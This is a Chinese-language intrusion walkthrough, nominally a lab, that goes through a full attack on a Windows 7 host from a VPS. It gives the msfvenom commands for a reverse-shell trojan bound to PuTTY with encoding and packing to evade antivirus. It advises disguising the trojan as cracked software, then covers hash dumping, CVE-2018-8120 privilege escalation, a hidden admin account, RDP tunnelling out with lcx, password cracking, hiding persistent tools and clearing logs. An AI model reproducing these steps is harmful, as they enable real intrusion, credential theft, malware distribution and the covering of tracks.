准备
环境:
win7:192.168.123.233
centos7:45.77.179.138(为做实验临时申请注册公网ip)
攻击:
Metasploit渗透框架
Cve-2018-8120本地提权执行文件
Windows exploit sugger(漏洞利用建议器)
Putty执行文件
Lcx (windows下端口转发工具)
Portmap (linux下端口转发工具)
Saminside (破解系统用户密码)
攻击拓扑图
vps配置攻击环境:
centos7安装metasploit
apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
//成功安装后请运行下属代码,以使下载的最新版本的msf连接数据库。
adduser msf //添加msf用户,这里会提示输入新添账号的密码
su msf //切换用户为msf
./msfconsole
生成木马并绑定程序(也可以用shellter给程序绑定木马,看个人习惯):
msfvenom -p windows/shell_reverse_tcp LHOST=45.77.179.138 LPORT=8001 -e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o backdoor.exe
msfvenom -p windows/shell_reverse_tcp 意为使用shell_reverse_tcp攻击载荷
LHOST=45.77.179.138 此步是设置攻击者IP地址
LPORT=8001 此步是设置木马将会主动连接攻击者设定的监听端口
-e x86/shikata_ga_nai 此步意为使用shikata_ga_nai的编码方式对攻击载荷进行重新编码,欲通过重新编码实现免杀
-x putty.exe 此步意为将木马捆绑在指定的可执行程序模版上,此处为putty.exe
-i 5 此处意为使用刚才设定的编码方式对目标进行5次编码(多次编码理论上来讲有助于免杀,但是也不一定,毕竟杀软不是白收费的,免杀技术飞速发展,新的免杀技术一出现就会被各大安全厂商盯上的。。。。)
-f exe 此步意为指定MSF编码器输出格式为exe
-o backdoor.exe 此步意为指定处理完毕后的文件输出路径
利用kali自带的upx对木马程序加壳,欲通过加壳绕过免杀
upx -5 backdoor.exe
加壳成功,扫描。
打扰了,并没有什么用,木马免杀操作下来再研究。
换一种思路把木马绑定在破解软件上,因为网上的破解软件下载执行一般会建议用户关闭防护墙,利用这种社工思路实现木马被下载执行的目标。(木马需要重命名为正常的名字,例如:putty绿色版.exe,毕竟backdoor,shell等太脑残了,人一看就知道这个执行文件有问题)
获取meterpreter shell,查看系统信息
[root@vultr ~]# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set LHOST
LHOST => 45.77.179.138
msf5 exploit(multi/handler) > set LPORT 8001
LPORT => 8001
msf5 exploit(multi/handler) > run
目标机执行木马文件,vps获得meterpreter shell
meterpreter > getuid //查看当前用户
meterpreter > sysinfo //查看系统信息
meterpreter > ps //查看系统进程
meterpreter > netstat -ano //查看系统开放端口
meterpreter > shell //获得交互性shell
meterpreter >run hashdump //获取用户密码hash
meterpreter >load mimikatz //加载mimikatz
meterpreter >Kerberos //获取用户明文密码
权限不够,无法获取用户密码或者hash值。
提权
生成系统信息systeminfo.txt
meterpreter > shell //获取交互性shell
C:\Users\wwb\Desktop>systeminfo >systeminfo.txt //在当前目录下生成systeminfo.txt的系统配置信息文件
窗口漏洞利用建议器的使用(Windows-Exploit-Suggester)
meterpreter >download c:\\Users\\wwb\\Desktop\\systeminfo.txt //下载systeminfo.txt回本地
python wes.py --update //微软官网下载漏洞库
python wes.py -e systeminfo.txt >result.txt //比对补丁,获取可以利用的漏洞信息,储存在当前文件下的result.txt中
查看result.txt,选定利用漏洞。
cve-2018-8120提权工具
翻找武器库,有cve-2018-8120本地提权的执行程序。
meterpreter > upload /root/CVE-2018-8120.exe c:\\Users\\wwb\\Desktop //上传到目标主机desktop目录下
meterpreter > shell
C:\Users\wwb\Desktop>cve-2018-8120.exe "whoami" //提权
C:\Users\wwb\Desktop>cve-2018-8120.exe "net user hacker$ hacker /add" //添加hacker$隐藏用户,密码为hacker
C:\Users\wwb\Desktop>cve-2018-8120.exe "net localgroup administrators hacker$ /add" //将hacker$添加到管理组
获取原配管理员密码
端口映射
上传lcx.exe到目标文件:
meterpreter > upload /root/lcx.exe c:\\Users\\wwb\\Desktop //上传到目标主机desktop目录下
meterpreter >shell
C:\Users\wwb\Desktop>netstat -ano //查看开放端口
C:\Users\wwb\Desktop>lcx -slave 45.77.179.138 55 127.0.0.1 3389 //将3389端口映射到公网55端口
[root@vultr ~]# ./portmap -m 2 -p1 55 -p2 56 //监听55端口,并转发到56端口
开了远程服务:
端口映射
vps新开一个终端执行端口监听和转发:
saminside工具
因为vps没有安装桌面服务所以这里用另外一台win10主机远程连接目标主机。
打开远程桌面连接,并设置驱动器(远程桌面连接-本地资源-详细信息),远程登录hacker$账号,上传saminside(这里没用meterpreter的upload上传,换了一种方式。但是真实环境下切忌让真实主机与目标主机有流量交互,中间一般会用多个vps中转以达到隐藏自己的效果)
管理员身份执行saminside
密码太复杂了解密不出来,需要外援。
在线破解系统密码hash
得到管理员账户密码:wwb/asd123
清除痕迹
利用本来的管理员账号远程连接登录。
清除添加的hacker$账号
清除上传的利用文件
当删除lcx的时候,发现删不掉,因为我们需要用这个执行文件把目标的3389端口映射到vps上面,对于这种持续利用的执行文件就找一个文件夹把它隐藏起来。
清除日志
持续更新改进,,,,,,